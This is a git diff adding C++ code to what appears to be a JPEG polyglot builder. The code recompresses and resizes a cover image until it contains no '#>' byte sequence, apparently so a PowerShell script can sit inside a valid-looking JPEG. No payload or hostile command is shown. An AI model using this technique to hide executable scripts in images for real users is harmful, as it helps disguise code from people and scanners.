+    constexpr auto COMMENT_BLOCK_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
+    constexpr auto CLEAN_JFIF_SIG = std::to_array<Byte>({
+        0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
+        0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
+    });
+
+    struct ImageSize {
+        int width = 0;
+        int height = 0;
+    };
+
+    struct JpegSegment {
+        Byte marker = 0;
+        std::size_t marker_offset = 0;
+        std::size_t payload_offset = 0;
+        std::size_t payload_size = 0;
+    };
+
+    constexpr Byte JPEG_MARKER_SOS = 0xDA;
+    constexpr Byte JPEG_MARKER_DQT = 0xDB;
+    constexpr Byte JPEG_MARKER_APP1 = 0xE1;
+
+    [[nodiscard]] bool containsCommentBlockClose(std::span<const Byte> jpg) {
+        if (jpg.size() < 2) {
+            return false;
+        }
+
+        const Byte* cursor = jpg.data();
+        const Byte* const last_candidate = jpg.data() + (jpg.size() - 1);
+
+        while (cursor < last_candidate) {
+            const auto remaining = static_cast<std::size_t>(last_candidate - cursor);
+            const void* hit = std::memchr(cursor, COMMENT_BLOCK_CLOSE_SIG[0], remaining);
+            if (hit == nullptr) {
+                return false;
+            }
+
+            const auto* pos = static_cast<const Byte*>(hit);
+            if (pos[1] == COMMENT_BLOCK_CLOSE_SIG[1]) {
+                return true;
+            }
+
+            cursor = pos + 1;
+        }
+
+        return false;
+    }
+
+    [[nodiscard]] std::optional<uint16_t> readBigEndian16(std::span<const Byte> bytes, std::size_t offset) {
+        if (offset > bytes.size() || bytes.size() - offset < 2) {
+            return std::nullopt;
+        }
+
+        return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
+                                     static_cast<uint16_t>(bytes[offset + 1]));
+    }
+
+    [[nodiscard]] bool markerHasNoPayload(Byte marker) {
+        return marker == 0x01 || marker == 0xD8 || marker == 0xD9 ||
+               (marker >= 0xD0 && marker <= 0xD7);
+    }
+
+    template <typename Predicate>
+    [[nodiscard]] std::optional<JpegSegment> findJpegHeaderSegment(std::span<const Byte> jpg, Predicate predicate) {
+        if (jpg.size() < 2 || jpg[0] != 0xFF || jpg[1] != 0xD8) {
+            return std::nullopt;
+        }
+
+        std::size_t pos = 2;
+
+        while (pos < jpg.size()) {
+            if (jpg[pos] != 0xFF) {
+                return std::nullopt;
+            }
+
+            const std::size_t marker_offset = pos;
+
+            while (pos < jpg.size() && jpg[pos] == 0xFF) {
+                ++pos;
+            }
+
+            if (pos >= jpg.size()) {
+                return std::nullopt;
+            }
+
+            const Byte marker = jpg[pos++];
+
+            if (marker == 0x00) {
+                return std::nullopt;
+            }
+
+            if (markerHasNoPayload(marker)) {
+                continue;
+            }
+
+            const auto segment_length_opt = readBigEndian16(jpg, pos);
+            if (!segment_length_opt) {
+                return std::nullopt;
+            }
+
+            const std::size_t segment_length = *segment_length_opt;
+            if (segment_length < 2 || pos > jpg.size() - segment_length) {
+                return std::nullopt;
+            }
+
+            const std::size_t payload_offset = pos + 2;
+            const JpegSegment segment{
+                .marker = marker,
+                .marker_offset = marker_offset,
+                .payload_offset = payload_offset,
+                .payload_size = segment_length - 2
+            };
+
+            if (predicate(segment)) {
+                return segment;
+            }
+
+            if (marker == JPEG_MARKER_SOS) {
+                return std::nullopt;
+            }
+
+            pos += segment_length;
+        }
+
+        return std::nullopt;
+    }
+
+    [[nodiscard]] std::size_t checkedPixelCount(int width, int height) {
+        if (width <= 0 || height <= 0) {
+            throw std::runtime_error("Image Error: Invalid image dimensions.");
+        }
+
+        const auto pixel_count = static_cast<std::size_t>(width) * static_cast<std::size_t>(height);
+        if (pixel_count > MAX_COVER_IMAGE_PIXELS) {
+            throw std::runtime_error("Image Error: Pixel count exceeds the supported maximum of 25 megapixels.");
+        }
+
+        return pixel_count;
+    }
+
+    void validateImageDimensions(int width, int height) {
+        if (width < MIN_COVER_IMAGE_DIMENSION || height < MIN_COVER_IMAGE_DIMENSION) {
+            throw std::runtime_error("Image Error: Dimensions are too small.\nFor platform compatibility, cover image must be at least 400px for both width and height.");
+        }
+
+        if (width > MAX_COVER_IMAGE_DIMENSION || height > MAX_COVER_IMAGE_DIMENSION) {
+            throw std::runtime_error(std::format("Image Error: Dimensions exceed the supported maximum of {}px.", MAX_COVER_IMAGE_DIMENSION));
+        }
+
+        (void)checkedPixelCount(width, height);
+    }
+
+    [[nodiscard]] std::size_t checkedPixelBufferSize(int width, int height, int bytes_per_pixel) {
+        if (bytes_per_pixel <= 0) {
+            throw std::runtime_error("Image Error: Invalid pixel format.");
+        }
+
+        const auto pixel_count = checkedPixelCount(width, height);
+        if (pixel_count > std::numeric_limits<std::size_t>::max() / static_cast<std::size_t>(bytes_per_pixel)) {
+            throw std::runtime_error("Image dimensions too large for pixel buffer allocation.");
+        }
+
+        return pixel_count * static_cast<std::size_t>(bytes_per_pixel);
+    }
+
+    [[nodiscard]] bool hasCompatibleJfifHeader(std::span<const Byte> jpg) {
+        constexpr auto COMPATIBLE_JFIF_SIG = std::to_array<Byte>({
+            0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
+            0x00, 0x01, 0x01, 0x19, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
+        });
+
+        return jpg.size() >= COMPATIBLE_JFIF_SIG.size() &&
+               std::ranges::equal(jpg.first(COMPATIBLE_JFIF_SIG.size()), COMPATIBLE_JFIF_SIG);
+    }
+
+    [[nodiscard]] bool isAlreadyCompatible(std::span<const Byte> jpg) {
+        return hasCompatibleJfifHeader(jpg) && !containsCommentBlockClose(jpg);
+    }
+
+    struct TiffReader {
+        std::span<const Byte> bytes;
+        bool little_endian = false;
+
+        [[nodiscard]] std::optional<uint16_t> read16(std::size_t offset) const {
+            if (offset > bytes.size() || bytes.size() - offset < 2) {
+                return std::nullopt;
+            }
+
+            if (little_endian) {
+                return static_cast<uint16_t>(static_cast<uint16_t>(bytes[offset]) |
+                                             (static_cast<uint16_t>(bytes[offset + 1]) << 8));
+            }
+
+            return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
+                                         static_cast<uint16_t>(bytes[offset + 1]));
+        }
+
+        [[nodiscard]] std::optional<uint32_t> read32(std::size_t offset) const {
+            if (offset > bytes.size() || bytes.size() - offset < 4) {
+                return std::nullopt;
+            }
+
+            if (little_endian) {
+                return static_cast<uint32_t>(bytes[offset]) |
+                       (static_cast<uint32_t>(bytes[offset + 1]) << 8) |
+                       (static_cast<uint32_t>(bytes[offset + 2]) << 16) |
+                       (static_cast<uint32_t>(bytes[offset + 3]) << 24);
+            }
+
+            return (static_cast<uint32_t>(bytes[offset]) << 24) |
+                   (static_cast<uint32_t>(bytes[offset + 1]) << 16) |
+                   (static_cast<uint32_t>(bytes[offset + 2]) << 8) |
+                   static_cast<uint32_t>(bytes[offset + 3]);
+        }
+    };
+
+    [[nodiscard]] std::optional<bool> tiffIsLittleEndian(std::span<const Byte> tiff_data) {
+        if (tiff_data.size() < 2) {
+            return std::nullopt;
+        }
+        if (tiff_data[0] == 'I' && tiff_data[1] == 'I') {
+            return true;
+        }
+        if (tiff_data[0] == 'M' && tiff_data[1] == 'M') {
+            return false;
+        }
+        return std::nullopt;
+    }
+
+    [[nodiscard]] std::optional<uint16_t> exifOrientation(std::span<const Byte> jpg) {
+        constexpr std::size_t EXIF_HEADER_SIZE = 6;
+        constexpr auto EXIF_SIG = std::to_array<Byte>({'E', 'x', 'i', 'f', '\0', '\0'});
+
+        const auto exif_segment = findJpegHeaderSegment(jpg, [&](const JpegSegment& segment) {
+            return segment.marker == JPEG_MARKER_APP1 &&
+                   segment.payload_size >= EXIF_HEADER_SIZE &&
+                   std::ranges::equal(jpg.subspan(segment.payload_offset, EXIF_HEADER_SIZE), EXIF_SIG);
+        });
+
+        if (!exif_segment) {
+            return std::nullopt;
+        }
+
+        std::span<const Byte> payload = jpg.subspan(exif_segment->payload_offset, exif_segment->payload_size);
+        std::span<const Byte> tiff_data = payload.subspan(EXIF_HEADER_SIZE);
+
+        if (tiff_data.size() < 8) return std::nullopt;
+
+        const auto little_endian = tiffIsLittleEndian(tiff_data);
+        if (!little_endian) return std::nullopt;
+
+        const TiffReader tiff{ .bytes = tiff_data, .little_endian = *little_endian };
+
+        if (tiff.read16(2) != 0x002A) return std::nullopt;
+
+        const auto ifd_offset = tiff.read32(4);
+        if (!ifd_offset) return std::nullopt;
+
+        // Need at least 2 bytes at ifd_offset for the entry count.
+        if (*ifd_offset < 8 ||
+            static_cast<std::size_t>(*ifd_offset) > tiff_data.size() ||
+            tiff_data.size() - static_cast<std::size_t>(*ifd_offset) < 2) {
+            return std::nullopt;
+        }
+
+        const auto entry_count = tiff.read16(*ifd_offset);
+        if (!entry_count) return std::nullopt;
+
+        const std::size_t entries_offset = static_cast<std::size_t>(*ifd_offset) + 2;
+
+        constexpr uint16_t TAG_ORIENTATION = 0x0112;
+        constexpr uint16_t TIFF_TYPE_SHORT = 3;
+        constexpr std::size_t ENTRY_SIZE = 12;
+
+        // Bound the loop to the number of entries that actually fit — guards
+        // against a malicious entry_count larger than the payload allows.
+        const std::size_t max_entries =
+            (tiff_data.size() - entries_offset) / ENTRY_SIZE;
+        const std::size_t bounded_count =
+            std::min<std::size_t>(*entry_count, max_entries);
+
+        for (std::size_t i = 0, current_entry = entries_offset; i < bounded_count; ++i, current_entry += ENTRY_SIZE) {
+            const auto tag_id = tiff.read16(current_entry);
+            if (tag_id == TAG_ORIENTATION) {
+                const auto type = tiff.read16(current_entry + 2);
+                const auto count = tiff.read32(current_entry + 4);
+                const auto value = tiff.read16(current_entry + 8);
+
+                if (!type || !count || !value ||
+                    *type != TIFF_TYPE_SHORT || *count != 1) {
+                    return std::nullopt;
+                }
+                return value;
+            }
+        }
+        return std::nullopt;
+    }
+
+    [[nodiscard]] int getTransformOp(uint16_t orientation) {
+        switch (orientation) {
+            case 2: return TJXOP_HFLIP;
+            case 3: return TJXOP_ROT180;
+            case 4: return TJXOP_VFLIP;
+            case 5: return TJXOP_TRANSPOSE;
+            case 6: return TJXOP_ROT90;
+            case 7: return TJXOP_TRANSVERSE;
+            case 8: return TJXOP_ROT270;
+            default: return TJXOP_NONE;
+        }
+    }
+
+    struct TJHandle {
+        tjhandle handle = nullptr;
+        explicit TJHandle(tjhandle raw_handle = nullptr) : handle(raw_handle) {}
+        ~TJHandle() { if (handle) tjDestroy(handle); }
+        TJHandle(const TJHandle&) = delete;
+        TJHandle& operator=(const TJHandle&) = delete;
+        TJHandle(TJHandle&& other) noexcept : handle(std::exchange(other.handle, nullptr)) {}
+        TJHandle& operator=(TJHandle&& other) noexcept {
+            if (this != &other) {
+                if (handle) tjDestroy(handle);
+                handle = std::exchange(other.handle, nullptr);
+            }
+            return *this;
+        }
+        [[nodiscard]] tjhandle get() const { return handle; }
+        [[nodiscard]] explicit operator bool() const { return handle != nullptr; }
+    };
+
+    [[nodiscard]] TJHandle makeHandle(tjhandle raw_handle, std::string_view init_name) {
+        if (!raw_handle) {
+            throw std::runtime_error(std::format("{} failed.", init_name));
+        }
+        return TJHandle(raw_handle);
+    }
+
+    [[nodiscard]] unsigned long toTurboJpegSize(std::size_t size) {
+        if (size == 0 || size > static_cast<std::size_t>(std::numeric_limits<unsigned long>::max())) {
+            throw std::runtime_error("Image Error: JPEG buffer size is unsupported by TurboJPEG.");
+        }
+        return static_cast<unsigned long>(size);
+    }
+
+    [[nodiscard]] ImageSize readJpegSize(tjhandle handle, std::span<const Byte> jpg, std::string_view error_prefix) {
+        ImageSize size{};
+        int jpeg_subsamp = 0;
+        int jpeg_colorspace = 0;
+
+        if (tjDecompressHeader3(
+                handle,
+                jpg.data(),
+                toTurboJpegSize(jpg.size()),
+                &size.width,
+                &size.height,
+                &jpeg_subsamp,
+                &jpeg_colorspace) != 0) {
+            throw std::runtime_error(std::format("{}: {}", error_prefix, tjGetErrorStr2(handle)));
+        }
+
+        validateImageDimensions(size.width, size.height);
+        return size;
+    }
+
+    void validateJpegHeader(std::span<const Byte> jpg) {
+        auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
+        (void)readJpegSize(decompressor.get(), jpg, "Image Error");
+    }
+
+    struct TJBuffer {
+        unsigned char* data = nullptr;
+        TJBuffer() = default;
+        ~TJBuffer() { if (data) tjFree(data); }
+        TJBuffer(const TJBuffer&) = delete;
+        TJBuffer& operator=(const TJBuffer&) = delete;
+    };
+
+    void assignFromTJBuffer(vBytes& out, const TJBuffer& buffer, unsigned long byte_count) {
+        if (!buffer.data || byte_count == 0) {
+            throw std::runtime_error("Image Error: TurboJPEG produced an empty output buffer.");
+        }
+
+        if (byte_count > static_cast<unsigned long>(std::numeric_limits<std::size_t>::max()) ||
+            byte_count > static_cast<unsigned long>(std::numeric_limits<std::ptrdiff_t>::max())) {
+            throw std::runtime_error("Image Error: TurboJPEG output is too large to store on this platform.");
+        }
+
+        const auto size = static_cast<std::size_t>(byte_count);
+        out.assign(buffer.data, buffer.data + size);
+    }
+
+    struct DecodedImage {
+        ImageSize size{};
+        vBytes pixels;
+    };
+
+    struct EncodeCandidate {
+        int subsamp = TJSAMP_444;
+        int flags = PROGRESSIVE_JPEG_FLAGS;
+        std::string_view label;
+    };
+
+    constexpr auto ENCODE_CANDIDATES = std::to_array<EncodeCandidate>({
+        EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS, .label = "4:4:4 default" },
+        EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_ACCURATEDCT, .label = "4:4:4 accurate" },
+        EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_FASTDCT, .label = "4:4:4 fast" }
+    });
+
+    void validateJpegQuality(int quality_val) {
+        if (quality_val < MIN_JPEG_QUALITY || quality_val > MAX_JPEG_QUALITY) {
+            throw std::runtime_error("Image Error: JPEG quality value is outside the supported range.");
+        }
+    }
+
+    void printEncodeProgress(std::string_view phase, std::string_view detail, int quality_val, int width, int height) {
+        std::print("\r{:<10} {:<14} | Quality: {:>3}% | Width: {:>5} | Height: {:>5}",
+            phase,
+            detail,
+            quality_val,
+            width,
+            height);
+        std::fflush(stdout);
+    }
+
+    void compressPixelsToJpeg(
+        vBytes& image_file_vec,
+        std::span<const Byte> pixels,
+        ImageSize size,
+        tjhandle compressor,
+        int quality_val,
+        const EncodeCandidate& candidate) {
+
+        validateJpegQuality(quality_val);
+
+        if (pixels.empty()) {
+            throw std::runtime_error("Image Error: Empty pixel buffer.");
+        }
+        if ((candidate.flags & TJFLAG_PROGRESSIVE) == 0) {
+            throw std::runtime_error("Internal Error: JPEG compression candidate is not progressive.");
+        }
+
+        TJBuffer jpegBuf;
+        unsigned long jpegSize = 0;
+
+        if (tjCompress2(
+                compressor,
+                pixels.data(),
+                size.width,
+                0,
+                size.height,
+                DECODE_PIXEL_FORMAT,
+                &jpegBuf.data,
+                &jpegSize,
+                candidate.subsamp,
+                quality_val,
+                candidate.flags) != 0) {
+            throw std::runtime_error(std::format("tjCompress2: {}", tjGetErrorStr2(compressor)));
+        }
+
+        assignFromTJBuffer(image_file_vec, jpegBuf, jpegSize);
+    }
+
+    [[nodiscard]] DecodedImage decodeJpeg(std::span<const Byte> jpg) {
+        auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
+        const auto image_size = readJpegSize(decompressor.get(), jpg, "tjDecompressHeader3");
+
+        vBytes decoded_image_vec(checkedPixelBufferSize(image_size.width, image_size.height, DECODE_BYTES_PER_PIXEL));
+
+        if (tjDecompress2(
+                decompressor.get(),
+                jpg.data(),
+                toTurboJpegSize(jpg.size()),
+                decoded_image_vec.data(),
+                image_size.width,
+                0,
+                image_size.height,
+                DECODE_PIXEL_FORMAT,
+                0) != 0) {
+            throw std::runtime_error(std::format("tjDecompress2: {}", tjGetErrorStr2(decompressor.get())));
+        }
+
+        return DecodedImage{
+            .size = image_size,
+            .pixels = std::move(decoded_image_vec)
+        };
+    }
+
+    void optimizeImage(vBytes& jpg_vec) {
+        if (jpg_vec.empty()) {
+            throw std::runtime_error("JPG image is empty!");
+        }
+
+        auto transformer = makeHandle(tjInitTransform(), "tjInitTransform()");
+        (void)readJpegSize(transformer.get(), jpg_vec, "Image Error");
+
+        tjtransform xform{};
+        xform.op = getTransformOp(exifOrientation(jpg_vec).value_or(1));
+        xform.options = TJXOPT_COPYNONE | TJXOPT_TRIM | TJXOPT_PROGRESSIVE;
+
+        TJBuffer dstBuffer;
+        unsigned long dstSize = 0;
+
+        if (tjTransform(
+                transformer.get(),
+                jpg_vec.data(),
+                toTurboJpegSize(jpg_vec.size()),
+                1,
+                &dstBuffer.data,
+                &dstSize,
+                &xform,
+                0) != 0) {
+            throw std::runtime_error(std::format("Image Error: {}", tjGetErrorStr2(transformer.get())));
+        }
+
+        assignFromTJBuffer(jpg_vec, dstBuffer, dstSize);
+    }
+
+    void resizeImage(
+        vBytes& image_file_vec,
+        const DecodedImage& source,
+        vBytes& resize_scratch,
+        tjhandle compressor,
+        int quality_val,
+        int decrease_dims_val,
+        const EncodeCandidate& candidate) {
+
+        validateJpegQuality(quality_val);
+
+        if (source.size.width < decrease_dims_val || source.size.height < decrease_dims_val) {
+            throw std::runtime_error(std::format("Image is too small to decrease by {} pixels.", decrease_dims_val));
+        }
+
+        const int new_width  = source.size.width  - decrease_dims_val;
+        const int new_height = source.size.height - decrease_dims_val;
+
+        if (new_width < MIN_COVER_IMAGE_DIMENSION || new_height < MIN_COVER_IMAGE_DIMENSION) {
+            throw std::runtime_error("Image Compatibility Error: Unable to remove close-comment block sequences without shrinking below the 400px minimum.");
+        }
+
+        printEncodeProgress("Resize", candidate.label, quality_val, new_width, new_height);
+
+        resize_scratch.resize(checkedPixelBufferSize(new_width, new_height, DECODE_BYTES_PER_PIXEL));
+
+        if (!stbir_resize_uint8_srgb(source.pixels.data(), source.size.width, source.size.height, 0, resize_scratch.data(), new_width, new_height, 0, RESIZE_PIXEL_LAYOUT)) {
+            throw std::runtime_error("stbir_resize_uint8_srgb failed.");
+        }
+
+        compressPixelsToJpeg(
+            image_file_vec,
+            resize_scratch,
+            ImageSize{ .width = new_width, .height = new_height },
+            compressor,
+            quality_val,
+            candidate);
+    }
+
+    [[nodiscard]] std::size_t findRequiredDqtOffset(std::span<const Byte> jpg) {
+        const auto dqt = findJpegHeaderSegment(jpg, [](const JpegSegment& segment) {
+            return segment.marker == JPEG_MARKER_DQT;
+        });
+
+        if (!dqt) {
+            throw std::runtime_error("Image File Error: No DQT segment found (corrupt or unsupported JPG).");
+        }
+
+        return dqt->marker_offset;
+    }
+
+    constexpr int AUTO_DOWNSCALE_MAX_DIM = 2048;
+
+    void downscaleToFit(vBytes& image_file_vec, int max_dim) {
+        const DecodedImage source = decodeJpeg(image_file_vec);
+
+        const int orig_w = source.size.width;
+        const int orig_h = source.size.height;
+        const int max_current = std::max(orig_w, orig_h);
+
+        if (max_current <= max_dim) return;
+
+        const double scale = static_cast<double>(max_dim) / static_cast<double>(max_current);
+        const int new_w = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_w) * scale));
+        const int new_h = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_h) * scale));
+
+        vBytes resized_pixels(checkedPixelBufferSize(new_w, new_h, DECODE_BYTES_PER_PIXEL));
+
+        if (!stbir_resize_uint8_srgb(
+                source.pixels.data(), orig_w, orig_h, 0,
+                resized_pixels.data(), new_w, new_h, 0, RESIZE_PIXEL_LAYOUT)) {
+            throw std::runtime_error("Image Error: Failed to downscale image.");
+        }
+
+        auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+        compressPixelsToJpeg(
+            image_file_vec, resized_pixels,
+            ImageSize{ .width = new_w, .height = new_h },
+            compressor.get(), START_QUALITY, ENCODE_CANDIDATES[0]);
+
+        std::println("Auto-downscaled from {}x{} to {}x{} for processing efficiency.", orig_w, orig_h, new_w, new_h);
+    }
+
+    void replaceLeadingMetadataWithCleanJfif(vBytes& image_file_vec) {
+        const std::size_t dqt_pos = findRequiredDqtOffset(image_file_vec);
+
+        vBytes cleaned;
+        cleaned.reserve(CLEAN_JFIF_SIG.size() + image_file_vec.size() - dqt_pos);
+        cleaned.insert(cleaned.end(), CLEAN_JFIF_SIG.begin(), CLEAN_JFIF_SIG.end());
+        cleaned.insert(cleaned.end(),
+            image_file_vec.begin() + static_cast<std::ptrdiff_t>(dqt_pos),
+            image_file_vec.end());
+
+        image_file_vec = std::move(cleaned);
+        validateJpegHeader(image_file_vec);
+    }
+
+    [[nodiscard]] bool recompressSameDimensionsUntilCommentBlockFree(vBytes& image_file_vec) {
+        const DecodedImage source = decodeJpeg(image_file_vec);
+        auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+
+        for (int quality_val = START_QUALITY; quality_val >= MIN_SAME_DIMENSION_QUALITY; --quality_val) {
+            for (const auto& candidate : ENCODE_CANDIDATES) {
+                printEncodeProgress("Recompress", candidate.label, quality_val, source.size.width, source.size.height);
+
+                compressPixelsToJpeg(
+                    image_file_vec,
+                    source.pixels,
+                    source.size,
+                    compressor.get(),
+                    quality_val,
+                    candidate);
+
+                if (!containsCommentBlockClose(image_file_vec)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    [[nodiscard]] bool resizeUntilCommentBlockFree(vBytes& image_file_vec) {
+        const DecodedImage pristine = decodeJpeg(image_file_vec);
+        vBytes resize_scratch;
+        auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+
+        const int max_dim = std::max(pristine.size.width, pristine.size.height);
+        const int step = std::max(1, max_dim / 300);
+
+        for (int attempt = 1; attempt <= MAX_RESIZE_ATTEMPTS; ++attempt) {
+            const int decrease_dims_val = attempt * step;
+
+            if (pristine.size.width - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION ||
+                pristine.size.height - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION) {
+                break;
+            }
+
+            const int quality_val = std::clamp(
+                START_QUALITY - ((attempt / 15) * 2),
+                MIN_JPEG_QUALITY,
+                MAX_JPEG_QUALITY);
+            const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(attempt - 1) % ENCODE_CANDIDATES.size()];
+
+            resizeImage(image_file_vec, pristine, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
+
+            if (!containsCommentBlockClose(image_file_vec)) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
+
+bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index) {
+    if (retry_index < 0) {
+        return false;
+    }
+
+    const DecodedImage source = decodeJpeg(source_jpg);
+    auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+
+    constexpr int QUALITY_CANDIDATE_COUNT = START_QUALITY - MIN_SAME_DIMENSION_QUALITY + 1;
+
+    const int same_dimension_candidate_count =
+        QUALITY_CANDIDATE_COUNT * static_cast<int>(ENCODE_CANDIDATES.size());
+
+    if (retry_index < same_dimension_candidate_count) {
+        const int quality_val = START_QUALITY -
+            (retry_index / static_cast<int>(ENCODE_CANDIDATES.size()));
+        const auto& candidate =
+            ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
+
+        printEncodeProgress("Tail retry", candidate.label, quality_val, source.size.width, source.size.height);
+        compressPixelsToJpeg(out, source.pixels, source.size, compressor.get(), quality_val, candidate);
+        return !containsCommentBlockClose(out);
+    }
+
+    retry_index -= same_dimension_candidate_count;
+    if (retry_index >= MAX_RESIZE_ATTEMPTS) {
+        return false;
+    }
+
+    vBytes resize_scratch;
+    const int decrease_dims_val = retry_index + 1;
+    const int quality_val = std::clamp(
+        START_QUALITY - ((decrease_dims_val / 15) * 2),
+        MIN_JPEG_QUALITY,
+        MAX_JPEG_QUALITY);
+    const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
+
+    resizeImage(out, source, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
+    return !containsCommentBlockClose(out);
+}
+
+bool ensureImageCompatible(vBytes& image_file_vec) {
+    if (image_file_vec.size() <= JFIF_COMPATIBILITY_MARKER_INDEX) {
+        throw std::runtime_error("Image File Error: Image too small to process.");
+    }
+
+    validateJpegHeader(image_file_vec);
+
+    if (isAlreadyCompatible(image_file_vec)) {
+        return false;
+    }
+
+    std::println("\nChecking cover image for comment-block close sequences \"#>\" (0x23, 0x3E).\n");
+    std::println("Image will be progressively recompressed first; dimensions will only be reduced if needed.\n");
+
+    optimizeImage(image_file_vec);
+    downscaleToFit(image_file_vec, AUTO_DOWNSCALE_MAX_DIM);
+    replaceLeadingMetadataWithCleanJfif(image_file_vec);
+
+    if (!containsCommentBlockClose(image_file_vec)) {
+        return true;
+    }
+
+    if (recompressSameDimensionsUntilCommentBlockFree(image_file_vec)) {
+        return true;
+    }
+
+    if (resizeUntilCommentBlockFree(image_file_vec)) {
+        return true;
+    }
+
+    std::println(std::cerr, "\n\nImage Compatibility Error:\n\nProcedure failed to remove close-comment block sequences from cover image.");
+    throw std::runtime_error("Try another image or use an editor such as GIMP to manually reduce (scale) image dimensions.");
+}
diff --git a/src/jpeg_process.h b/src/jpeg_process.h
new file mode 100644
index 0000000..f88e98b
--- /dev/null
+++ b/src/jpeg_process.h
@@ -0,0 +1,14 @@
+#pragma once
+
+#include "common.h"
+
+#include <span>
+
+// Strips metadata, applies EXIF orientation, and iteratively resizes
+// to eliminate comment-block close sequences "#>" (0x23, 0x3E) from the raw JPEG data.
+// Returns true if the image was modified.
+[[nodiscard]] bool ensureImageCompatible(vBytes& image_file_vec);
+
+// Produces another progressive JPEG candidate from an already-compatible cover image.
+// Returns false if the selected candidate still contains a "#>" sequence.
+[[nodiscard]] bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index);
diff --git a/src/jpeg_warning_check.cpp b/src/jpeg_warning_check.cpp
new file mode 100644
index 0000000..0190d80
--- /dev/null
+++ b/src/jpeg_warning_check.cpp
@@ -0,0 +1,82 @@
+#include "jpeg_warning_check.h"
+
+#include <csetjmp>
+#include <cstddef>
+#include <cstdio>
+#include <jerror.h>
+#include <jpeglib.h>
+#include <vector>
+
+namespace {
+    struct JpegErrorManager {
+        jpeg_error_mgr pub{};
+        jmp_buf jump{};
+        JpegWarningSummary summary{};
+    };
+
+    extern "C" void errorExit(j_common_ptr cinfo) {
+        auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
+        manager->summary.fatal_error = true;
+        longjmp(manager->jump, 1);
+    }
+
+    extern "C" void emitMessage(j_common_ptr cinfo, int msg_level) {
+        if (msg_level >= 0) {
+            return;
+        }
+
+        auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
+        switch (cinfo->err->msg_code) {
+            case JWRN_EXTRANEOUS_DATA:
+                ++manager->summary.extraneous_data;
+                break;
+            case JWRN_JPEG_EOF:
+                ++manager->summary.premature_eof;
+                break;
+            default:
+                break;
+        }
+    }
+}
+
+JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg) {
+    if (jpg.empty()) {
+        return JpegWarningSummary{ .fatal_error = true };
+    }
+
+    jpeg_decompress_struct cinfo{};
+    JpegErrorManager manager{};
+    bool decompressor_created = false;
+
+    cinfo.err = jpeg_std_error(&manager.pub);
+    manager.pub.error_exit = errorExit;
+    manager.pub.emit_message = emitMessage;
+
+    if (setjmp(manager.jump) != 0) {
+        if (decompressor_created) {
+            jpeg_destroy_decompress(&cinfo);
+        }
+        return manager.summary;
+    }
+
+    jpeg_create_decompress(&cinfo);
+    decompressor_created = true;
+
+    jpeg_mem_src(&cinfo, jpg.data(), jpg.size());
+    (void)jpeg_read_header(&cinfo, TRUE);
+    (void)jpeg_start_decompress(&cinfo);
+
+    const std::size_t row_stride = static_cast<std::size_t>(cinfo.output_width) *
+                                   static_cast<std::size_t>(cinfo.output_components);
+    std::vector<Byte> row(row_stride);
+
+    while (cinfo.output_scanline < cinfo.output_height) {
+        Byte* row_ptr = row.data();
+        (void)jpeg_read_scanlines(&cinfo, &row_ptr, 1);
+    }
+
+    (void)jpeg_finish_decompress(&cinfo);
+    jpeg_destroy_decompress(&cinfo);
+
+    return manager.summary;
+}
diff --git a/src/jpeg_warning_check.h b/src/jpeg_warning_check.h
new file mode 100644
index 0000000..54e6e1e
--- /dev/null
+++ b/src/jpeg_warning_check.h
@@ -0,0 +1,31 @@
+#pragma once
+
+#include "common.h"
+
+#include <span>
+
+struct JpegWarningSummary {
+    bool fatal_error = false;
+    int extraneous_data = 0;
+    int premature_eof = 0;
+
+    [[nodiscard]] bool hasUnsafeTailWarning() const noexcept {
+        // The polyglot output uses a custom non-standard JFIF APP0 (JFIF# instead
+        // of JFIF\0, length 0x0110 = 272 instead of the standard 0x0010 = 16).
+        // libjpeg-turbo >= 3.0 on arm64 emits JWRN_EXTRANEOUS_DATA when it
+        // encounters this non-standard APP0, and may also set the fatal_error flag
+        // as a side effect of losing JPEG stream context after the non-standard segment.
+        //
+        // When both fatal_error AND extraneous_data are set simultaneously, the
+        // fatal_error is a cascading false positive caused by the custom APP0 —
+        // not a sign of a truly broken JPEG tail.
+        //
+        // Only these conditions indicate a genuinely unsafe tail:
+        //   1. fatal_error without any extraneous_data (a real decode failure)
+        //   2. premature_eof (truncated JPEG data)
+        const bool real_fatal = fatal_error && (extraneous_data == 0);
+        return real_fatal || premature_eof > 0;
+    }
+};
+
